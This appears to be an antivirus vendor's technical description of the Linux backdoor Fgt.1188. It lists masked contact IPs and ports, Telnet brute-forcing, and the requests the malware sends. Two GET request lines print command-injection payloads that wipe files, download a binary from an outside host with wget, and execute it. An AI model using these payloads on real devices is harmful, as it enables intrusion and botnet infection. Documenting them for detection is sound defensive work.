Linux.BackDoor.Fgt.1188

Technical Information

Malicious functions:

Substitutes application name for:

sshd

Network activity:

Establishes connection:

8.#.8.8:53
17#.##8.185.250:48
20#.##.63.110:8080
18#.##.71.128:8080
20#.##8.85.164:8080
18#.##.111.76:8080
20#.##2.13.101:8080
20#.##4.223.15:8080
91.##.63.110:80
21#.##8.85.164:80
31.##.71.128:80
21#.##2.13.101:80
2.##.111.76:80
17#.##4.223.15:80
87.##.71.128:52869
99.###.128.85:52869
27.##.218.240:52869
15#.##.132.13:52869
22#.##.110.34:52869
54.###.223.15:52869
21#.##.46.197:52869
14#.#.63.68:52869
18#.##6.43.78:52869
17#.##.153.7:52869
13.##.242.241:8080
66.###.199.99:8080
16#.##.29.189:8080
46.###.222.105:8080
23.###.132.4:8080
20#.##.49.52:8080
4.##.#2.190:8080
12#.##6.37.91:8080
16#.###.202.161:8080
22#.###.223.139:8080
22#.##2.223.139:80
13.##.242.241:37215
16#.##.29.189:37215
4.##.#2.190:37215
66.###.199.99:37215
23.###.132.4:37215
4.##.#2.190:7574
75.#.50.218:80
75.#.50.218:81
38.###.77.30:8443
38.###.77.30:8080
18#.###.135.180:8080
20#.##.241.248:8080
20#.##.250.239:8080
20#.###.185.252:8080
18#.###.188.245:8080
20#.##.191.4:8080
78.###.228.228:80
41.#.45.43:80
37.###.56.103:80
91.###.79.117:80
21#.##.214.139:80
11#.##7.57.139:80
66.###.199.99:80
46.###.222.105:80
23.##5.132.4:80
20#.#6.49.52:80
16#.##.29.189:80
13.##.242.241:80
12#.##6.37.91:80
4.##.52.190:80
16#.##7.202.161:80
10#.##.43.240:52869
33.###.97.214:52869
14#.###.105.79:52869
10#.###.228.228:52869
14#.###.57.139:52869
15#.###.178.200:52869
13#.###.116.102:52869
14#.##.23.77:52869
10#.##.179.163:52869
21#.###.114.156:52869
10#.###.228.228:8080
14#.##5.105.79:8080
10#.##.43.240:8080
13#.###.116.102:8080
14#.##7.57.139:8080
33.###.97.214:8080
15#.###.178.200:8080
14#.##.23.77:8080
21#.###.114.156:8080
10#.##.179.163:8080
4.##.#2.190:5555
45.##.149.55:37215
10#.##.197.185:37215
12#.##.65.53:37215
15#.##.3.84:37215
14#.###.192.157:37215
12#.##.65.53:7574
12#.#0.65.53:80
17#.##1.169.78:81
17#.##1.169.78:80
17#.##1.169.78:8443
20#.##.195.249:8080
20#.###.243.197:8080
20#.##0.225.1:8080
20#.###.151.117:8080
18#.##.77.121:8080
20#.##.219.6:8080
82.##.195.249:80
31.###.151.117:80
58.###.243.197:80
78.##.77.121:80
19#.#9.219.6:80
17#.##0.225.1:80
13#.##7.116.102:80
14#.##5.105.79:80
15#.##3.178.200:80
10#.##1.228.228:80
21#.##6.114.156:80
14#.#6.23.77:80
14#.##7.57.139:80
33.###.97.214:80
10#.##.43.240:80
10#.##.179.163:80
23#.##.195.249:52869
11#.###.163.151:52869
15#.##.113.110:52869
20#.###.210.225:52869
3.###.197.63:52869
21.###.117.104:52869
21#.###.166.144:52869
14#.##.219.6:52869
16.##.127.229:52869
63.##.214.135:52869
10.##.19.171:8080
21.##.248.10:8080
12#.###.231.203:8080
14#.##7.227.20:8080
10#.##.225.53:8080
16#.##0.103.11:8080
20#.###.125.132:8080
94.###.87.222:8080
7.##.72.14:8080
12#.##.65.53:5555
19#.###.139.232:8080
10.##.19.171:37215
21.##.248.10:37215
12#.###.231.203:37215
14#.###.227.20:37215
10#.##.225.53:37215
14#.###.127.191:7574
14#.##3.127.191:80
14#.##3.127.191:81
22#.##4.135.60:80
22#.##4.135.60:8443
22#.##4.135.60:8080
18#.##.55.201:8080
18#.###.183.220:8080
20#.##.111.150:8080
18#.##.114.185:8080
18#.#.29.189:8080
20#.#.162.79:8080
91.##.63.42:80
11#.##7.105.64:80
1.###.107.128:80
11#.##9.108.212:80
1.###.233.141:80
10.##.19.171:80
21.##.248.10:80
12#.##3.231.203:80
14#.##7.227.20:80
10#.##.225.53:80
16#.##0.103.11:80
20#.##0.125.132:80
94.###.87.222:80
7.##.72.14:80
19#.##3.139.232:80
2.###.107.128:52869
15.##.16.63:52869
45.##.45.224:52869
18#.##.237.105:52869
48.###.212.22:52869
17#.##.210.108:52869
10#.###.46.113:52869
77.###.233.141:52869
15#.##.229.212:52869
89.##.171.148:52869
2.###.107.128:8080
15.##.16.63:8080
48.###.212.22:8080
18#.##.237.105:8080
45.##.45.224:8080
15#.##.229.212:8080
10#.##2.46.113:8080
17#.##.210.108:8080
77.###.233.141:8080
89.##.171.148:8080
14#.###.127.191:5555
21#.###.140.133:37215
96.###.130.233:37215
14#.###.229.45:37215
43.##.252.10:37215
10#.##.149.93:37215
10#.##.149.93:7574
17#.##.210.108:80
10#.##.149.93:80
20#.##6.175.190:81
20#.##6.175.190:80
77.###.233.141:80
20#.###.175.190:8443
19.##.92.86:8080
20#.##6.87.3:8080
18#.##.0.149:8080
18#.##.121.167:8080
18#.##.132.195:8080
18#.##9.85.153:8080
18#.###.178.168:8080
2.###.107.128:80
18#.##.237.105:80
48.###.212.22:80
19#.##.121.167:80
10#.##2.46.113:80
45.##.45.224:80
89.##.171.148:80
15#.##.229.212:80
15.##.16.63:80
78.##6.87.3:80
18#.#1.0.149:80
62.###.85.153:80
37.##.132.195:80
58.###.178.168:80
32.###.192.233:52869
18#.##.49.129:52869
87.###.70.246:52869
11#.##.19.249:52869
18#.##.226.108:52869
16#.##.238.75:52869
23#.###.210.113:52869
8.###.56.216:52869
15#.###.191.241:52869
20#.###.183.62:52869
10#.##.149.93:5555
18#.##.49.129:8080
32.###.192.233:8080
18#.##.226.108:8080
23#.###.210.113:8080
23#.##9.210.113:80
8.###.56.216:8080
87.###.70.246:8080
11#.##.19.249:8080
15#.###.191.241:8080
20#.##9.183.62:8080
16#.##.238.75:8080
15#.##5.191.241:80
16#.##1.2.71:37215
80.##.14.103:37215
31.###.230.78:37215
97.###.49.106:37215
43.##.63.158:37215
97.###.49.106:7574
97.###.49.106:80
28.###.191.46:81
28.###.191.46:80
28.###.191.46:8443
14#.##.122.101:8080
20#.##.114.177:8080
20#.##0.231.87:8080
18#.###.149.250:8080
20#.###.162.227:8080
18#.##2.45.161:8080
18#.##2.201.23:8080
10#.##2.45.161:80
21#.##3.162.227:80
37.##.114.177:80
89.###.201.23:80
11#.##0.231.87:80
21#.##0.149.250:80
18#.##.49.129:80
32.###.192.233:80
18#.##.226.108:80
87.###.70.246:80
11#.##.19.249:80
8.###.56.216:80
20#.##9.183.62:80
16#.##.238.75:80
43.###.201.23:52869
14#.##.122.101:52869
16#.###.133.162:52869
15#.###.177.172:52869
15#.###.210.149:52869
13#.###.231.87:52869
72.###.2.80:52869
20.###.11.9:52869
10#.###.163.33:52869
4.#.#10.1:52869
21#.##.243.70:8080
86.###.143.197:8080
14#.###.176.224:8080
30.###.8.123:8080
16#.##6.154.69:8080
48.###.241.233:8080
30.###.224.193:8080
17#.###.248.219:8080
17#.#.72.217:8080
11#.###.102.154:8080
97.###.49.106:5555
48.###.241.233:37215
16#.###.154.69:37215
30.###.224.193:37215
14#.###.176.224:37215
86.###.143.197:37215
30.###.224.193:7574
19#.#0.9.17:80
19#.#0.9.17:81
59.##.11.106:8443
59.##.11.106:8080
20#.##8.48.8:8080
18#.###.220.151:8080
18#.##.175.71:8080
20#.###.187.243:8080
18#.###.194.176:8080
20#.###.102.222:8080
2.##.254.216:80
5.###.204.141:80
37.##.99.68:80
21#.##.204.235:80
11#.##.12.138:80
92.###.97.239:80
86.###.143.197:80
16#.##6.154.69:80
21#.##.243.70:80
48.###.241.233:80
11#.##9.102.154:80
30.##2.8.123:80
17#.##9.248.219:80
17#.#.72.217:80
14#.##6.176.224:80
30.###.224.193:80
16#.###.97.239:52869
18.##.165.50:52869
15#.###.141.23:52869
12#.##.98.204:52869
10#.##.12.138:52869
22#.##.121.246:52869
14#.##.41.145:52869
3.###.95.99:52869
75.##.221.29:52869
56.###.55.36:52869
10#.##.12.138:8080
12#.##.98.204:8080
15#.##4.141.23:8080
18.##.165.50:8080
3.###.95.99:8080
16#.##5.97.239:8080
56.###.55.36:8080
22#.##.121.246:8080
14#.##.41.145:8080
22#.##.121.246:80
75.##.221.29:8080
30.###.224.193:5555
31.###.196.44:37215
14#.###.217.179:37215
89.###.91.175:37215
21.##.248.174:37215
87.##.151.85:37215
87.##.151.85:7574
87.##.151.85:80
16#.##.113.117:81
16#.##.113.117:80
16#.##.113.117:8443
16#.##.113.117:8080
20#.##.200.238:8080
20#.##9.112.3:8080
20#.###.204.213:8080
18#.##.10.9:8080
18#.##.159.189:8080
20#.##.104.149:8080
19#.##9.112.3:80
82.###.204.213:80
18#.#3.10.9:80
58.##.200.238:80
37.##.104.149:80
84.##.159.189:80
12#.##.98.204:80
10#.##.12.138:80
16#.##5.97.239:80
3.###.95.99:80
15#.##4.141.23:80
14#.##.41.145:80
18.##.165.50:80
56.##2.55.36:80
75.##.221.29:80
19#.##.200.238:52869
16#.##.104.149:52869
34.##.56.159:52869
16#.##.66.49:52869
22#.#.123.204:52869
22#.###.117.48:52869
15.###.3.83:52869
10#.###.38.196:52869
11#.###.193.242:52869
7.###.208.94:52869
42.###.170.14:8080
22#.##.28.146:8080
15#.##.203.91:8080
12.#.#51.139:8080
2.##.#2.223:8080
94.###.102.24:8080
16#.##.30.69:8080
22#.##.28.146:80
15#.##2.89.31:8080
20#.##.250.197:8080
10#.##1.45.99:8080
10#.##1.45.99:80
87.##.151.85:5555
15#.##2.89.31:80
2.##.#2.223:37215
16#.##.30.69:37215
94.###.102.24:37215
42.###.170.14:37215
22#.##.28.146:37215
48.##.46.3:7574
48.##.46.3:80
48.##.46.3:81
17#.##.185.154:8443
17#.##.185.154:8080
20#.##.81.55:8080
18#.##2.107.57:8080
18#.##2.66.221:8080
20#.##.226.112:8080
20#.###.201.224:8080
20#.###.164.248:8080
10#.##5.182.55:80
78.#.66.208:80
78.##.89.24:80
10#.##1.232.183:80
91.##.59.172:80
88.###.107.191:80
94.###.102.24:80
16#.#8.30.69:80
15#.##.203.91:80
12.#.251.139:80
20#.##.250.197:80
42.###.170.14:80
2.##.62.223:80
14#.##.208.110:52869
66.##.185.56:52869
38.##.89.24:52869
22#.##1.46.59:52869
17#.###.17.189:52869
81.###.182.55:52869
12#.###.141.232:52869
16#.###.118.31:52869
14#.#.8.146:52869
15#.##.242.143:52869
22#.##1.46.59:8080
66.##.185.56:8080
12#.###.141.232:8080
38.##.89.24:8080
14#.##.208.110:8080
22#.##1.46.59:80
16#.##3.118.31:8080
15#.##.242.143:8080
81.###.182.55:8080
17#.##0.17.189:8080
14#.#.8.146:8080
48.##.46.3:5555
52.###.124.98:37215
10#.###.123.82:37215
19#.##.125.210:37215
11#.###.33.248:37215
27.##.47.251:37215
11#.##6.33.248:7574
11#.##6.33.248:80
17#.##0.210.28:81
17#.##0.210.28:80
17#.##0.210.28:8443
19#.###.120.224:8080
18#.##.3.98:8080
18#.###.146.147:8080
20#.##2.144.81:8080
20#.##.136.203:8080
20#.###.161.102:8080
20#.###.144.247:8080
2.##.3.98:80
37.###.144.81:80
14#.##3.146.147:80
21#.##.136.203:80
1.###.161.102:80
12#.##3.141.232:80
14#.##.208.110:80
38.##.89.24:80
15#.##.242.143:80
66.##.185.56:80
81.###.182.55:80
17#.##0.17.189:80
14#.#.8.146:80
16#.##3.118.31:80
45.###.147.172:52869
18#.##.136.203:52869
20#.##.198.144:52869
81.###.161.102:52869
19#.###.120.224:52869
44.###.92.202:52869
19#.##.24.3:52869
57.###.127.246:52869
14#.##8.7.254:52869
37.##.246.31:52869
56.###.52.112:8080
21#.##3.45.57:8080
15#.##.75.47:8080
51.###.56.89:8080
38.##.104.113:8080
19#.#.218.71:8080
32.###.135.218:8080
20#.##.216.30:8080
82.###.46.159:8080
38.###.32.83:8080
11#.##6.33.248:5555
82.###.46.159:80
15#.##.75.47:37215
56.###.52.112:37215
51.###.56.89:37215
21#.##3.45.57:37215
32.###.135.218:37215
32.###.135.218:7574
21#.#6.12.64:80
21#.#6.12.64:81
18#.###.192.146:8443
18#.###.192.146:8080
20#.##5.50.243:8080
20#.##1.135.87:8080
20#.##.194.59:8080
18#.##.245.93:8080
20#.##.36.120:8080
18#.##.194.242:8080
58.###.160.63:80
21#.##.120.219:80
62.###.191.135:80
84.###.192.231:80
88.##.43.19:80
42.##.131.234:80
56.###.52.112:80
21#.##3.45.57:80
15#.#0.75.47:80
51.##4.56.89:80
38.##.104.113:80
19#.#.218.71:80
32.###.135.218:80
20#.##.216.30:80
16.###.60.131:52869
94.###.191.135:52869
19#.###.249.101:52869
12#.##.15.43:52869
15#.###.192.231:52869
23#.###.154.90:52869
87.###.219.190:52869
18#.##.157.128:52869
13#.###.18.153:52869
13#.##.222.45:52869
38.##1.32.83:80
16.###.60.131:8080
94.###.191.135:8080
87.###.219.190:8080
12#.##.15.43:8080
19#.###.249.101:8080
23#.##8.154.90:8080
15#.###.192.231:8080
13#.##.222.45:8080
13#.##7.18.153:8080
18#.##.157.128:8080
23#.##8.154.90:80
32.###.135.218:5555
95.##.120.91:37215
21#.##.11.224:37215
14#.###.252.183:37215
14#.###.152.108:37215
16#.##.53.44:37215
21#.##.11.224:7574
21#.##.11.224:80
20#.##8.57.174:81
20#.##8.57.174:80
20#.##8.57.174:8443
34.##.4.192:8080
20#.##4.114.60:8080
20#.##4.59.98:8080
20#.###.204.100:8080
20#.##.30.90:8080
20#.##.44.170:8080
18#.##.155.21:8080
78.###.114.60:80
62.##.30.90:80
95.##.44.170:80
19#.##4.59.98:80
14#.##.155.21:80
11#.##0.204.100:80
16.###.60.131:80
94.###.191.135:80
87.###.219.190:80
12#.#3.15.43:80
19#.##7.249.101:80
15#.##4.192.231:80
13#.##7.18.153:80
13#.##.222.45:80
18#.##.157.128:80
22#.###.114.60:52869
12#.##5.74.44:52869
34.##.4.192:52869
21#.#.231.105:52869
24.##.155.21:52869
9.##.#20.204:52869
18#.###.170.248:52869
14#.##.98.26:52869
54.#.#85.201:52869
30.###.37.120:52869
26.###.75.205:8080
58.###.150.68:8080
21.##.159.73:8080
20#.###.219.131:8080
21#.##.182.194:8080
16#.###.175.181:8080
21#.##6.94.50:8080
20#.##4.21.168:8080
18#.##.48.193:8080
13#.##.185.180:8080
21#.##.11.224:5555
58.###.150.68:37215
21#.##.182.194:37215
20#.###.21.168:37215
26.###.75.205:37215
20#.###.219.131:37215
20#.###.219.131:7574
38.##.246.135:80
38.##.246.135:81
87.##.84.16:8443
87.##.84.16:8080
20#.##.87.22:8080
20#.##.238.224:8080
20#.##.13.236:8080
18#.##.133.41:8080
18#.##.84.122:8080
20#.##1.96.239:8080
62.##7.44.6:80
21#.##1.29.111:80
10#.##4.9.229:80
18#.##3.26.193:80
31.##.170.66:80
31.##.59.204:80
21.##.159.73:80
20#.##4.219.131:80
21#.##.182.194:80
16#.##9.175.181:80
26.###.75.205:80
58.###.150.68:80
20#.##4.21.168:80
18#.##.48.193:80
13#.##.185.180:80
21#.##6.94.50:80
23#.##.170.66:52869
14#.##5.32.69:52869
69.###.9.229:52869
22#.#.243.26:52869
82.##.111.247:52869
21#.##.79.59:52869
16#.##.73.142:52869
1.###.113.65:52869
13#.##.71.99:52869
24.###.207.11:52869
21#.##.79.59:8080
69.###.9.229:8080
82.##.111.247:8080
22#.#.243.26:8080
16#.##.73.142:8080
14#.##5.32.69:8080
23#.##.170.66:8080
22#.#.243.26:80
13#.##.71.99:8080
1.###.113.65:8080
24.###.207.11:8080
23#.##.170.66:80
20#.###.219.131:5555
27.###.24.46:37215
49.###.78.194:37215
87.###.189.225:37215
18#.##.251.197:37215
19#.###.164.84:37215
19#.##1.164.84:7574
19#.##1.164.84:80
13#.##.80.150:81
13#.##.80.150:80
13#.##.80.150:8443
21#.#1.79.59:80
23#.##.189.147:8080
20#.##5.19.29:8080
18#.##8.78.141:8080
20#.#.40.142:8080
20#.##3.218.61:8080
20#.##5.208.1:8080
20#.##.186.103:8080
14#.##5.19.29:80
21#.##3.218.61:80
31.###.78.141:80
14#.##.186.103:80
82.##5.208.1:80
91.#.40.142:80
69.##4.9.229:80
16#.##.73.142:80
82.##.111.247:80
24.###.207.11:80
13#.#2.71.99:80
14#.##5.32.69:80
1.###.113.65:80
14#.##.49.222:52869
7.##.#50.30:52869
81.###.251.47:52869
85.###.187.163:52869
64.##.245.18:52869
94.###.13.105:52869
57.##.237.179:52869
4.##.#15.66:52869
23#.###.161.50:52869
21#.###.222.97:52869
7.##.#50.30:8080
94.###.13.105:8080
64.##.245.18:8080
81.###.251.47:8080
57.##.237.179:8080
14#.##.49.222:8080
85.###.187.163:8080
23#.##4.161.50:8080
4.##.#15.66:8080
21#.##2.222.97:8080
23#.##4.161.50:80
19#.##1.164.84:5555
81.###.251.47:37215
64.##.245.18:37215
7.##.#50.30:37215
57.##.237.179:37215
14#.##.49.222:37215
80.##.179.250:7574
80.##.179.250:80
80.##.179.250:81
18#.##4.95.196:8443
18#.##4.95.196:8080
20#.##.5.211:8080
20#.##.166.207:8080
18#.##3.168.21:8080
18#.##.126.68:8080
20#.##1.67.10:8080
18#.##.249.150:8080
5.##.33.18:80
21#.##2.230.163:80
82.###.211.109:80
37.#.190.101:80
91.##.137.216:80
62.###.113.248:80
94.###.13.105:80
81.###.251.47:80
85.###.187.163:80
7.##.250.30:80
14#.##.49.222:80
4.##.115.66:80
21#.##2.222.97:80
64.##.245.18:80
57.##.237.179:80
19#.###.101.65:52869
60.###.211.109:52869
29.##.43.86:52869
43.##.118.88:52869
10#.##.53.137:52869
10#.###.151.152:52869
20#.###.230.163:52869
94.###.86.190:52869
47.##.238.113:52869
83.#.#37.100:52869
29.##.43.86:8080
20#.###.230.163:8080
19#.##0.101.65:8080
10#.##.53.137:8080
47.##.238.113:8080
94.###.86.190:8080
10#.###.151.152:8080
83.#.#37.100:8080
43.##.118.88:8080
60.###.211.109:8080
80.##.179.250:5555
58.###.232.214:37215
75.##.59.30:37215
11#.###.88.194:37215
1.##.#31.43:37215
15#.##.188.205:37215
58.###.232.214:7574
58.###.232.214:80
12#.##4.13.181:81
12#.##4.13.181:80
12#.##4.13.181:8443
18#.###.134.189:8080
19#.##0.101.65:80
47.##.238.113:80
60.###.211.109:80
43.##.118.88:80
10#.##4.151.152:80
29.##.43.86:80
20#.##2.230.163:80
83.#.137.100:80
10#.##.53.137:80
58.###.232.214:5555
20#.###.195.131:8080
20#.##.231.148:8080
18#.##.152.3:8080
20#.##.206.236:8080
20#.#.28.64:8080
18#.##.100.32:8080

Attacks using a special dictionary (brute-force technique) via the Telnet protocol.

HTTP GET requests:

http://###.###.###.########.###########/tmp;rm+-rf+*;wget+https://hakaiboatnet.pw/m+-O+vacron;chmod+777+vacron;/tmp/vacron+varcron
http://##.###.##.#########.#####################.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+https://hakaiboatnet.pw/m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

HTTP POST requests:

127.0.0.1:80/GponForm/diag_Form?images/

Sends data to the following servers:

17#.##8.185.250:48

Receives data from the following servers:

17#.##8.185.250:48

Technologies

Begriffe

Schulung und Training

Mythen

Technical Information

Curing recommendations